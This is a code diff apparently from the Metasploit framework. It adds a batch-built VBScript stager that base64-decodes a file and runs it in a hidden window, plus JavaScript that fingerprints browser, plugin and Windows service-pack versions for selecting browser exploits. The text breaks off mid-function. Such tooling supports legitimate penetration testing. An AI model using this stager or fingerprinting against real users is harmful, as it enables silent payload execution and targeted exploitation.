echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
|
@ -0,0 +1,41 @@
|
|||
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
|
||||
echo Set file = fs.GetFile("ENCODED") >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, "") >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
|
||||
echo shell.run "DECODED", 0, false >>decode_stub
|
||||
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo "The file is empty." >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
|
@ -0,0 +1,89 @@
|
|||
var ie_addons_detect = { };
|
||||
|
||||
/**
|
||||
* Returns true if this ActiveX is available, otherwise false.
|
||||
* Grabbed this directly from browser_autopwn.rb
|
||||
**/
|
||||
ie_addons_detect.hasActiveX = function (axo_name, method) {
|
||||
var axobj = null;
|
||||
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
|
||||
axobj = document.createElement("object");
|
||||
axobj.setAttribute("classid", "clsid:" + axo_name);
|
||||
axobj.setAttribute("id", axo_name);
|
||||
axobj.setAttribute("style", "visibility: hidden");
|
||||
axobj.setAttribute("width", "0px");
|
||||
axobj.setAttribute("height", "0px");
|
||||
document.body.appendChild(axobj);
|
||||
if (typeof(axobj[method]) == 'undefined') {
|
||||
var attributes = 'id="' + axo_name + '"';
|
||||
attributes += ' classid="clsid:' + axo_name + '"';
|
||||
attributes += ' style="visibility: hidden"';
|
||||
attributes += ' width="0px" height="0px"';
|
||||
document.body.innerHTML += "<object " + attributes + "></object>";
|
||||
axobj = document.getElementById(axo_name);
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
axobj = new ActiveXObject(axo_name);
|
||||
} catch(e) {
|
||||
// If we can't build it with an object tag and we can't build it
|
||||
// with ActiveXObject, it can't be built.
|
||||
return false;
|
||||
};
|
||||
}
|
||||
if (typeof(axobj[method]) != 'undefined') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
};
|
||||
|
||||
/**
|
||||
* Returns the version of Microsoft Office. If not found, returns null.
|
||||
**/
|
||||
ie_addons_detect.getMsOfficeVersion = function () {
|
||||
var version;
|
||||
var types = new Array();
|
||||
for (var i=1; i <= 5; i++) {
|
||||
try {
|
||||
types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString()));
|
||||
}
|
||||
catch (e) {
|
||||
types[i-1] = null;
|
||||
}
|
||||
}
|
||||
|
||||
if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
|
||||
types[3] == 'object' && types[4] == 'object')
|
||||
{
|
||||
version = "2012";
|
||||
}
|
||||
else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
|
||||
types[3] == 'object' && types[4] == null)
|
||||
{
|
||||
version = "2010";
|
||||
}
|
||||
else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
|
||||
types[3] == null && types[4] == null)
|
||||
{
|
||||
version = "2007";
|
||||
}
|
||||
else if (types[0] == 'object' && types[1] == 'object' && types[2] == null &&
|
||||
types[3] == null && types[4] == null)
|
||||
{
|
||||
version = "2003";
|
||||
}
|
||||
else if (types[0] == 'object' && types[1] == null && types[2] == null &&
|
||||
types[3] == null && types[4] == null)
|
||||
{
|
||||
// If run for the first time, you must manullay allow the "Microsoft Office XP"
|
||||
// add-on to run. However, this prompt won't show because the ActiveXObject statement
|
||||
// is wrapped in an exception handler.
|
||||
version = "xp";
|
||||
}
|
||||
else {
|
||||
version = null;
|
||||
}
|
||||
|
||||
return version;
|
||||
}
|
|
@ -0,0 +1,157 @@
|
|||
var misc_addons_detect = { };
|
||||
|
||||
|
||||
/**
|
||||
* Detects whether the browser supports Silverlight or not
|
||||
**/
|
||||
misc_addons_detect.hasSilverlight = function () {
|
||||
var found = false;
|
||||
|
||||
//
|
||||
// When on IE, we can use AgControl.AgControl to actually detect the version too.
|
||||
// But this ability is specific to IE, so we fall back to just true/false response
|
||||
//
|
||||
try {
|
||||
var ax = new ActiveXObject('AgControl.AgControl');
|
||||
found = true;
|
||||
} catch(e) {}
|
||||
|
||||
//
|
||||
// ActiveX didn't get anything, try looking in MIMEs
|
||||
//
|
||||
if (!found) {
|
||||
var mimes = window.navigator.mimeTypes;
|
||||
for (var i=0; i < mimes.length; i++) {
|
||||
if (/x\-silverlight/.test(mimes[i].type)) {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// MIMEs didn't work either. Try navigator.
|
||||
//
|
||||
if (!found) {
|
||||
var count = navigator.plugins.length;
|
||||
for (var i=0; i < count; i++) {
|
||||
var pluginName = navigator.plugins[i].name;
|
||||
if (/Silverlight Plug\-In/.test(pluginName)) {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Adobe Flash version
|
||||
**/
|
||||
misc_addons_detect.getFlashVersion = function () {
|
||||
var foundVersion = null;
|
||||
|
||||
//
|
||||
// Gets the Flash version by using the GetVariable function via ActiveX
|
||||
//
|
||||
try {
|
||||
var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString();
|
||||
foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.')
|
||||
} catch (e) {}
|
||||
|
||||
//
|
||||
// This should work fine for most non-IE browsers
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var mimes = window.navigator.mimeTypes;
|
||||
for (var i=0; i<mimes.length; i++) {
|
||||
var pluginDesc = mimes[i].enabledPlugin.description.toString();
|
||||
var m = pluginDesc.match(/Shockwave Flash [\d\.]+/g);
|
||||
if (m != null) {
|
||||
foundVersion = m[0].match(/\d.+/g)[0];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Detection for Windows + Firefox
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var pluginsCount = navigator.plugins.length;
|
||||
for (i=0; i < pluginsCount; i++) {
|
||||
var pluginName = navigator.plugins[i].name;
|
||||
var pluginVersion = navigator.plugins[i].version;
|
||||
if (/Shockwave Flash/.test(pluginName) && pluginVersion != undefined) {
|
||||
foundVersion = navigator.plugins[i].version;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return foundVersion;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Java version
|
||||
**/
|
||||
misc_addons_detect.getJavaVersion = function () {
|
||||
var foundVersion = null;
|
||||
|
||||
//
|
||||
// This finds the Java version from Java WebStart's ActiveX control
|
||||
// This is specific to Windows
|
||||
//
|
||||
for (var i1=0; i1 < 10; i1++) {
|
||||
for (var i2=0; i2 < 10; i2++) {
|
||||
for (var i3=0; i3 < 10; i3++) {
|
||||
for (var i4=0; i4 < 10; i4++) {
|
||||
var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
|
||||
var progId = "JavaWebStart.isInstalled." + version;
|
||||
try {
|
||||
new ActiveXObject(progId);
|
||||
return version;
|
||||
}
|
||||
catch (e) {
|
||||
continue;
|
||||
}
|
||||
}}}}
|
||||
|
||||
//
|
||||
// This finds the Java version from window.navigator.mimeTypes
|
||||
// This seems to work pretty well for most browsers except for IE
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var mimes = window.navigator.mimeTypes;
|
||||
for (var i=0; i<mimes.length; i++) {
|
||||
var m = /java.+;version=(.+)/.exec(mimes[i].type);
|
||||
if (m) {
|
||||
var version = parseFloat(m[1]);
|
||||
if (version > foundVersion) {
|
||||
foundVersion = version;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// This finds the Java version from navigator plugins
|
||||
// This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
|
||||
// So we do this last.
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var foundJavaString = "";
|
||||
var pluginsCount = navigator.plugins.length;
|
||||
for (i=0; i < pluginsCount; i++) {
|
||||
var pluginName = navigator.plugins[i].name;
|
||||
var pluginVersion = navigator.plugins[i].version;
|
||||
if (/Java/.test(pluginName) && pluginVersion != undefined) {
|
||||
foundVersion = navigator.plugins[i].version;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return foundVersion;
|
||||
}
|
|
@ -0,0 +1,831 @@
|
|||
// Case matters, see lib/msf/core/constants.rb
|
||||
// All of these should match up with constants in ::Msf::HttpClients
|
||||
var clients_opera = "Opera";
|
||||
var clients_ie = "MSIE";
|
||||
var clients_ff = "Firefox";
|
||||
var clients_chrome = "Chrome";
|
||||
var clients_safari = "Safari";
|
||||
|
||||
// All of these should match up with constants in ::Msf::OperatingSystems
|
||||
var oses_linux = "Linux";
|
||||
var oses_android = "Android";
|
||||
var oses_windows = "Windows";
|
||||
var oses_mac_osx = "Mac OS X";
|
||||
var oses_apple_ios = "iOS";
|
||||
var oses_freebsd = "FreeBSD";
|
||||
var oses_netbsd = "NetBSD";
|
||||
var oses_openbsd = "OpenBSD";
|
||||
|
||||
// All of these should match up with the ARCH_* constants
|
||||
var arch_armle = "armle";
|
||||
var arch_x86 = "x86";
|
||||
var arch_x86_64 = "x86_64";
|
||||
var arch_ppc = "ppc";
|
||||
var arch_mipsle = "mipsle";
|
||||
|
||||
var os_detect = {};
|
||||
|
||||
/**
|
||||
* This can reliably detect browser versions for IE and Firefox even in the
|
||||
* presence of a spoofed User-Agent. OS detection is more fragile and
|
||||
* requires truthful navigator.appVersion and navigator.userAgent strings in
|
||||
* order to be accurate for more than just IE on Windows.
|
||||
**/
|
||||
os_detect.getVersion = function(){
|
||||
//Default values:
|
||||
var os_name;
|
||||
var os_vendor;
|
||||
var os_device;
|
||||
var os_flavor;
|
||||
var os_sp;
|
||||
var os_lang;
|
||||
var ua_name;
|
||||
var ua_version;
|
||||
var arch = "";
|
||||
var useragent = navigator.userAgent;
|
||||
// Trust but verify...
|
||||
var ua_is_lying = false;
|
||||
|
||||
var version = "";
|
||||
var unknown_fingerprint = null;
|
||||
|
||||
var css_is_valid = function(prop, propCamelCase, css) {
|
||||
if (!document.createElement) return false;
|
||||
var d = document.createElement('div');
|
||||
d.setAttribute('style', prop+": "+css+";")
|
||||
return d.style[propCamelCase] === css;
|
||||
}
|
||||
|
||||
var input_type_is_valid = function(input_type) {
|
||||
if (!document.createElement) return false;
|
||||
var input = document.createElement('input');
|
||||
input.setAttribute('type', input_type);
|
||||
return input.type == input_type;
|
||||
}
|
||||
|
||||
//--
|
||||
// Client
|
||||
//--
|
||||
if (window.opera) {
|
||||
ua_name = clients_opera;
|
||||
if (!navigator.userAgent.match(/Opera/)) {
|
||||
ua_is_lying = true;
|
||||
}
|
||||
// This seems to be completely accurate, e.g. "9.21" is the return
|
||||
// value of opera.version() when run on Opera 9.21
|
||||
ua_version = opera.version();
|
||||
if (!os_name) {
|
||||
// The 'inconspicuous' argument is there to give us a real value on
|
||||
// Opera 6 where, without it, the return value is supposedly
|
||||
// 'Hm, were you only as smart as Bjorn Vermo...'
|
||||
// though I have not verfied this claim.
|
||||
switch (opera.buildNumber('inconspicuous')) {
|
||||
case "344": // opera-9.0-20060616.1-static-qt.i386-en-344
|
||||
case "1347": // Opera 9.80 / Ubuntu 10.10 (Karmic Koala)
|
||||
case "2091": // opera-9.52-2091.gcc3-shared-qt3.i386.rpm
|
||||
case "2444": // opera-9.60.gcc4-shared-qt3.i386.rpm
|
||||
case "2474": // Opera 9.63 / Debian Testing (Lenny)
|
||||
case "4102": // Opera 10.00 / Ubuntu 8.04 LTS (Hardy Heron)
|
||||
case "6386": // 10.61
|
||||
os_name = oses_linux;
|
||||
break;
|
||||
case "1074": // Opera 11.50 / Windows XP
|
||||
case "1100": // Opera 11.52 / Windows XP
|
||||
case "3445": // 10.61
|
||||
case "3516": // Opera 10.63 / Windows XP
|
||||
case "7730": // Opera 8.54 / Windows XP
|
||||
case "8502": // "Opera 9 Eng Setup.exe"
|
||||
case "8679": // "Opera_9.10_Eng_Setup.exe"
|
||||
case "8771": // "Opera_9.20_Eng_Setup.exe"
|
||||
case "8776": // "Opera_9.21_Eng_Setup.exe"
|
||||
case "8801": // "Opera_9.22_Eng_Setup.exe"
|
||||
case "10108": // "Opera_952_10108_en.exe"
|
||||
case "10467": // "Opera_962_en_Setup.exe"
|
||||
case "10476": // Opera 9.63 / Windows XP
|
||||
case "WMD-50433": // Windows Mobile - "Mozilla/5.0 (Windows Mobile; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00"
|
||||
os_name = oses_windows;
|
||||
break;
|
||||
case "2480": // Opera 9.64 / FreeBSD 7.0
|
||||
os_name = oses_freebsd;
|
||||
break;
|
||||
case "6386": // 10.61
|
||||
os_name = oses_mac_osx;
|
||||
break;
|
||||
case "1407":
|
||||
// In the case of mini versions, the UA is quite a bit
|
||||
// harder to spoof, so it's correspondingly easier to
|
||||
// trust. Unfortunately, despite being fairly truthful in
|
||||
// what OS it's running on, Opera mini seems to lie like a
|
||||
// rug in regards to the browser version.
|
||||
//
|
||||
// iPhone, iOS 5.0.1
|
||||
// Opera/9.80 (iPhone; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10.10
|
||||
// Android 2.3.6, opera mini 7.1
|
||||
// Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.101.10
|
||||
if (navigator.userAgent.indexOf("Android")) {
|
||||
os_name = oses_android;
|
||||
} else if (navigator.userAgent.indexOf("iPhone")) {
|
||||
os_name = oses_apple_ios;
|
||||
os_device = "iPhone";
|
||||
}
|
||||
break;
|
||||
// A few are ambiguous, record them here
|
||||
case "1250":
|
||||
// Opera 9.80 / Windows XP
|
||||
// Opera 11.61 / Windows XP
|
||||
// Opera 11.61 / Debian 4.0 (Etch)
|
||||
break;
|
||||
default:
|
||||
unknown_fingerprint = opera.buildNumber('inconspicuous');
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else if (typeof window.onmousewheel != 'undefined' && ! (typeof ScriptEngineMajorVersion == 'function') ) { // IE 10 now has onmousewheel
|
||||
|
||||
// Then this is webkit, could be Safari or Chrome.
|
||||
// Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1
|
||||
// Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
|
||||
// Mozilla/5.0 (Linux; U; Android 2.2; en-au; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
|
||||
// Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8C148
|
||||
// Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
|
||||
// Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3
|
||||
|
||||
// Google Chrome has window.google (older versions), window.chromium (older versions), and window.window.chrome (3+)
|
||||
if (window.chromium || window.google || window.chrome) {
|
||||
ua_name = clients_chrome;
|
||||
search = "Chrome";
|
||||
} else {
|
||||
ua_name = clients_safari;
|
||||
search = "Version";
|
||||
}
|
||||
|
||||
platform = navigator.platform.toLowerCase();
|
||||
// Just to be a pain, iPod and iPad both leave off "Safari" and
|
||||
// "Version" in the UA, see example above. Grab the webkit version
|
||||
// instead. =/
|
||||
if (platform.match(/ipod/)) {
|
||||
os_name = oses_apple_ios;
|
||||
os_device = "iPod";
|
||||
arch = arch_armle;
|
||||
search = "AppleWebKit";
|
||||
} else if (platform.match(/ipad/)) {
|
||||
os_name = oses_apple_ios;
|
||||
os_device = "iPad";
|
||||
arch = arch_armle;
|
||||
search = "AppleWebKit";
|
||||
} else if (platform.match(/iphone/)) {
|
||||
os_name = oses_apple_ios;
|
||||
os_device = "iPhone";
|
||||
arch = arch_armle;
|
||||
} else if (platform.match(/macintel/)) {
|
||||
os_name = oses_mac_osx;
|
||||
arch = arch_x86;
|
||||
} else if (platform.match(/linux/)) {
|
||||
os_name = oses_linux;
|
||||
|
||||
if (platform.match(/x86_64/)) {
|
||||
arch = arch_x86_64;
|
||||
} else if (platform.match(/arm/)) {
|
||||
arch = arch_armle;
|
||||
} else if (platform.match(/x86/)) {
|
||||
arch = arch_x86;
|
||||
} else if (platform.match(/mips/)) {
|
||||
arch = arch_mipsle;
|
||||
}
|
||||
|
||||
// Android overrides Linux
|
||||
if (navigator.userAgent.match(/android/i)) {
|
||||
os_name = oses_android;
|
||||
}
|
||||
} else if (platform.match(/windows/)) {
|
||||
os_name = oses_windows;
|
||||
}
|
||||
|
||||
ua_version = this.searchVersion(search, navigator.userAgent);
|
||||
if (!ua_version || 0 == ua_version.length) {
|
||||
ua_is_lying = true;
|
||||
}
|
||||
} else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
|
||||
// Use taintEnabled to identify FF since other recent browsers
|
||||
// implement window.getComputedStyle now. For some reason, checking for
|
||||
// taintEnabled seems to cause IE 6 to stop parsing, so make sure this
|
||||
// isn't IE first.
|
||||
|
||||
// Also check MozBlobBuilder because FF 9.0.1 does not support taintEnabled
|
||||
|
||||
// Then this is a Gecko derivative, assume Firefox since that's the
|
||||
// only one we have sploits for. We may need to revisit this in the
|
||||
// future. This works for multi/browser/mozilla_compareto against
|
||||
// Firefox and Mozilla, so it's probably good enough for now.
|
||||
ua_name = clients_ff;
|
||||
// Thanks to developer.mozilla.org "Firefox for developers" series for most
|
||||
// of these.
|
||||
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
|
||||
if ('closest' in Element.prototype) {
|
||||
ua_version = '35.0';
|
||||
} else if ('matches' in Element.prototype) {
|
||||
ua_version = '34.0';
|
||||
} else if ('RadioNodeList' in window) {
|
||||
ua_version = '33.0';
|
||||
} else if ('copyWithin' in Array.prototype) {
|
||||
ua_version = '32.0';
|
||||
} else if ('fill' in Array.prototype) {
|
||||
ua_version = '31.0';
|
||||
} else if (css_is_valid('background-blend-mode', 'backgroundBlendMode', 'multiply')) {
|
||||
ua_version = '30.0';
|
||||
} else if (css_is_valid('box-sizing', 'boxSizing', 'border-box')) {
|
||||
ua_version = '29.0';
|
||||
} else if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) {
|
||||
ua_version = '28.0';
|
||||
} else if (css_is_valid('cursor', 'cursor', 'grab')) {
|
||||
ua_version = '27.0';
|
||||
} else if (css_is_valid('image-orientation',
|
||||
'imageOrientation',
|
||||
'0deg')) {
|
||||
ua_version = '26.0';
|
||||
} else if (css_is_valid('background-attachment',
|
||||
'backgroundAttachment',
|
||||
'local')) {
|
||||
ua_version = '25.0';
|
||||
} else if ('DeviceStorage' in window && window.DeviceStorage &&
|
||||
'default' in window.DeviceStorage.prototype) {
|
||||
// https://bugzilla.mozilla.org/show_bug.cgi?id=874213
|
||||
ua_version = '24.0';
|
||||
} else if (input_type_is_valid('range')) {
|
||||
ua_version = '23.0';
|
||||
} else if ('HTMLTimeElement' in window) {
|
||||
ua_version = '22.0';
|
||||
} else if ('createElement' in document &&
|
||||
document.createElement('main') &&
|
||||
document.createElement('main').constructor === window['HTMLElement']) {
|
||||
ua_version = '21.0';
|
||||
} else if ('imul' in Math) {
|
||||
ua_version = '20.0';
|
||||
} else if (css_is_valid('font-size', 'fontSize', '23vmax')) {
|
||||
ua_version = '19.0';
|
||||
} else if ('devicePixelRatio' in window) {
|
||||
ua_version = '18.0';
|
||||
} else if ('createElement' in document &&
|
||||
document.createElement('iframe') &&
|
||||
'sandbox' in document.createElement('iframe')) {
|
||||
ua_version = '17.0';
|
||||
} else if ('mozApps' in navigator && 'install' in navigator.mozApps) {
|
||||
ua_version = '16.0';
|
||||
} else if ('HTMLSourceElement' in window &&
|
||||
HTMLSourceElement.prototype &&
|
||||
'media' in HTMLSourceElement.prototype) {
|
||||
ua_version = '15.0';
|
||||
} else if ('mozRequestPointerLock' in document.body) {
|
||||
ua_version = '14.0';
|
||||
} else if ('Map' in window) {
|
||||
ua_version = "13.0";
|
||||
} else if ('mozConnection' in navigator) {
|
||||
ua_version = "12.0";
|
||||
} else if ('mozVibrate' in navigator) {
|
||||
ua_version = "11.0";
|
||||
} else if (css_is_valid('-moz-backface-visibility', 'MozBackfaceVisibility', 'hidden')) {
|
||||
ua_version = "10.0";
|
||||
} else if ('doNotTrack' in navigator) {
|
||||
ua_version = "9.0";
|
||||
} else if ('insertAdjacentHTML' in document.body) {
|
||||
ua_version = "8.0";
|
||||
} else if ('ondeviceorientation' in window && !('createEntityReference' in document)) {
|
||||
ua_version = "7.0";
|
||||
} else if ('MozBlobBuilder' in window) {
|
||||
ua_version = "6.0";
|
||||
} else if ('isGenerator' in Function) {
|
||||
ua_version = "5.0";
|
||||
} else if ('isArray' in Array) {
|
||||
ua_version = "4.0";
|
||||
} else if (document.readyState) {
|
||||
ua_version = "3.6";
|
||||
} else if (String.trimRight) {
|
||||
ua_version = "3.5";
|
||||
} else if (document.getElementsByClassName) {
|
||||
ua_version = "3";
|
||||
} else if (window.Iterator) {
|
||||
ua_version = "2";
|
||||
} else if (Array.every) {
|
||||
ua_version = "1.5";
|
||||
} else {
|
||||
ua_version = "1";
|
||||
}
|
||||
if (navigator.oscpu != navigator.platform) {
|
||||
ua_is_lying = true;
|
||||
}
|
||||
// oscpu is unaffected by changes in the useragent and has values like:
|
||||
// "Linux i686"
|
||||
// "Windows NT 6.0"
|
||||
// haven't tested on 64-bit Windows
|
||||
version = navigator.oscpu;
|
||||
if (version.match(/i.86/)) {
|
||||
arch = arch_x86;
|
||||
}
|
||||
if (version.match(/x86_64/)) {
|
||||
arch = arch_x86_64;
|
||||
}
|
||||
if (version.match(/Windows/)) {
|
||||
os_name = oses_windows;
|
||||
// Technically these will mismatch server OS editions, but those are
|
||||
// rarely used as client systems and typically have the same exploit
|
||||
// characteristics as the associated client.
|
||||
switch(version) {
|
||||
case "Windows NT 5.0": os_name = "Windows 2000"; break;
|
||||
case "Windows NT 5.1": os_name = "Windows XP"; break;
|
||||
case "Windows NT 5.2": os_name = "Windows 2003"; break;
|
||||
case "Windows NT 6.0": os_name = "Windows Vista"; break;
|
||||
case "Windows NT 6.1": os_name = "Windows 7"; break;
|
||||
case "Windows NT 6.2": os_name = "Windows 8"; break;
|
||||
case "Windows NT 6.3": os_name = "Windows 8.1"; break;
|
||||
}
|
||||
}
|
||||
if (version.match(/Linux/)) {
|
||||
os_name = oses_linux;
|
||||
}
|
||||
// end navigator.oscpu checks
|
||||
} else if (typeof ScriptEngineMajorVersion == "function") {
|
||||
// Then this is IE and we can very reliably detect the OS.
|
||||
// Need to add detection for IE on Mac. Low priority, since we
|
||||
// don't have any sploits for it yet and it's a very low market
|
||||
// share.
|
||||
os_name = oses_windows;
|
||||
ua_name = clients_ie;
|
||||
version_maj = ScriptEngineMajorVersion().toString();
|
||||
version_min = ScriptEngineMinorVersion().toString();
|
||||
version_build = ScriptEngineBuildVersion().toString();
|
||||
|
||||
version = version_maj + version_min + version_build;
|
||||
|
||||
//document.write("ScriptEngine: "+version+"<br />");
|
||||
switch (version){
|
||||
case "514615":
|
||||
// IE 5.00.2920.0000, 2000 Advanced Server SP0 English
|
||||
ua_version = "5.0";
|
||||
os_name = "Windows 2000";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "515907":
|
||||
os_name = "Windows 2000";
|
||||
os_sp = "SP3"; //or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109
|
||||
break;
|
||||
case "518513":
|
||||
os_name = "Windows 2000";
|
||||
os_sp = "SP4";
|
||||
break;
|
||||
case "566626":
|
||||
// IE 6.0.2600.0000, XP SP0 English
|
||||
// IE 6.0.2800.1106, XP SP1 English
|
||||
ua_version = "6.0";
|
||||
os_name = "Windows XP";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "568515":
|
||||
// IE 6.0.3790.0, 2003 Standard SP0 English
|
||||
ua_version = "6.0";
|
||||
os_name = "Windows 2003";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "568820":
|
||||
// IE 6.0.2900.2180, xp sp2 english
|
||||
os_name = "Windows XP";
|
||||
os_sp = "SP2";
|
||||
break;
|
||||
case "568827":
|
||||
os_name = "Windows 2003";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "568831": //XP SP2 -OR- 2K SP4
|
||||
if (os_name == "2000"){
|
||||
os_sp = "SP4";
|
||||
}
|
||||
else{
|
||||
os_name = "Windows XP";
|
||||
os_sp = "SP2";
|
||||
}
|
||||
break;
|
||||
case "568832":
|
||||
os_name = "Windows 2003";
|
||||
os_sp = "SP2";
|
||||
break;
|
||||
case "568837":
|
||||
// IE 6.0.2900.2180, XP Professional SP2 Korean
|
||||
ua_version = "6.0";
|
||||
os_name = "Windows XP";
|
||||
os_sp = "SP2";
|
||||
break;
|
||||
case "5716599":
|
||||
// IE 7.0.5730.13, XP Professional SP3 English
|
||||
// IE 6.0.2900.5512, XP Professional SP3 English
|
||||
// IE 6.0.2900.5512, XP Professional SP3 Spanish
|
||||
//
|
||||
// Since this scriptengine applies to more than one major version of
|
||||
// IE, rely on the object detection below to determine ua_version.
|
||||
//ua_version = "6.0";
|
||||
os_name = "Windows XP";
|
||||
os_sp = "SP3";
|
||||
break;
|
||||
case "575730":
|
||||
// IE 7.0.5730.13, Server 2003 Standard SP2 English
|
||||
// IE 7.0.5730.13, Server 2003 Standard SP1 English
|
||||
// IE 7.0.5730.13, XP Professional SP2 English
|
||||
// Rely on the user agent matching above to determine the OS.
|
||||
// This will incorrectly identify 2k3 SP1 as SP2
|
||||
ua_version = "7.0";
|
||||
os_sp = "SP2";
|
||||
break;
|
||||
case "5718066":
|
||||
// IE 7.0.5730.13, XP Professional SP3 English
|
||||
ua_version = "7.0";
|
||||
os_name = "Windows XP";
|
||||
os_sp = "SP3";
|
||||
break;
|
||||
case "5722589":
|
||||
// IE 7.0.5730.13, XP Professional SP3 English
|
||||
ua_version = "7.0";
|
||||
os_name = "Windows XP";
|
||||
os_sp = "SP3";
|
||||
break;
|
||||
case "576000":
|
||||
// IE 7.0.6000.16386, Vista Ultimate SP0 English
|
||||
ua_version = "7.0";
|
||||
os_name = "Windows Vista";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "580":
|
||||
// IE 8.0.7100.0, Windows 7 English
|
||||
// IE 8.0.7100.0, Windows 7 64-bit English
|
||||
case "5816385":
|
||||
// IE 8.0.7600.16385, Windows 7 English
|
||||
case "5816475":
|
||||
case "5816762":
|
||||
// IE 8.0.7600.16385, Windows 7 English
|
||||
ua_version = "8.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "5817514":
|
||||
// IE 8.0.7600.17514, Windows 7 SP1 English
|
||||
ua_version = "8.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "5818702":
|
||||
